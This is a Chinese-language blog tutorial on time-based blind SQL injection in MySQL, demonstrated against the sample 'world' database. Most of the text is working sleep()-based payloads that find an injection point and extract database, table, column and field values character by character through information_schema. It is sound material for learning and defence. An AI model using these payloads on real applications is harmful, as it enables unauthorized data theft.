基於時間差SQL盲注

  1. 說明

    目標數據庫類型: MySQL
    數據庫:world
    表:city
    列:ID Name CountryCode District Population
    
  2. 時間盲注時,涉及的函數

    sleep(s)
    	SQL語句暫停執行時間s秒
    mid(s,n,len)
    	從字符串 s 的 n 位置截取長度爲 len 的子字符串
    length(s)
    	返回字符串 s 的字符數
    if(expr,v1,v2)
    	如果表達式 expr 成立,返回結果 v1;否則,返回結果 v2。
    substr(s,n,len)
    	從字符串 s 的 n 位置截取長度爲 len 的子字符串
    ascii(s)
    	返回字符串的第一個字符的 ASCII 碼
    limit
    	強制 SELECT 語句返回指定的記錄數
    database()
    	當前使用的數據庫
    
  3. 注入點

    傳遞參數中加入sleep(10),看一下頁面返回是不是有延時。
    不詳細說怎麼判斷注入點了!

    我這裏注入點爲id
    正常SQL語句爲 SELECT * FROM city WHERE `id`=

  4. 判斷注入點

    (select * from(select sleep(12)union/ select 1)a)
    

爆當前用戶、數據庫版本,我省掉了

  1. 爆數據庫

    猜數據庫長度
    		(if((length(database())=4),sleep(5),0))
    		邏輯:
    				如果數據庫長度爲5,就執行sleep(5)
    猜數據庫名
    		sleep(if((mid(database(),1,1)="a"),5,0))
    		邏輯:
    				如果數據庫的第一位爲a,就執行sleep(5)
    		sleep(if((ascii(substr(database(),1,1)))=97),5,0))
    		邏輯:
    				如果數據庫的第一位爲a,就執行sleep(5)
    
  2. 爆表

    猜表長度
    	(select sleep(if((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6,5,0)))
    猜表名
    	(select sleep(if((mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='c'),5,0)))
    	(select sleep(if((mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1)='i'),5,0)))
    	(select sleep(if((mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1)='t'),5,0)))
    	(select sleep(if((mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1)='y'),5,0)))
    
  3. 爆列

    猜列長
    	(select sleep(if((select length(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='city' limit 0,1)=2,5,0)))
    猜列名
    	(select sleep(if((mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='city' limit 0,1),1,1)='I'),5,0)))
    	(select sleep(if((mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='city' limit 0,1),2,1)='D'),5,0)))
    
  4. 爆字段

    猜字段長
    	(select sleep(if((select length(ID) from world.city limit 0,1)=1,5,0)))
    猜字段內容
    	(select sleep(if((mid((select ID from world.city limit 0,1),1,1)='1'),5,0)))
    

備註
以上我只查詢了第一張表的第一列的第一個字段內容 如果要查詢其他位置需要更改limit後的參數

特別說明

如果你要基於時間注入,一定要寫腳本跑,如果是學習的話,可以手工。
強烈建議學習SQLMap

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章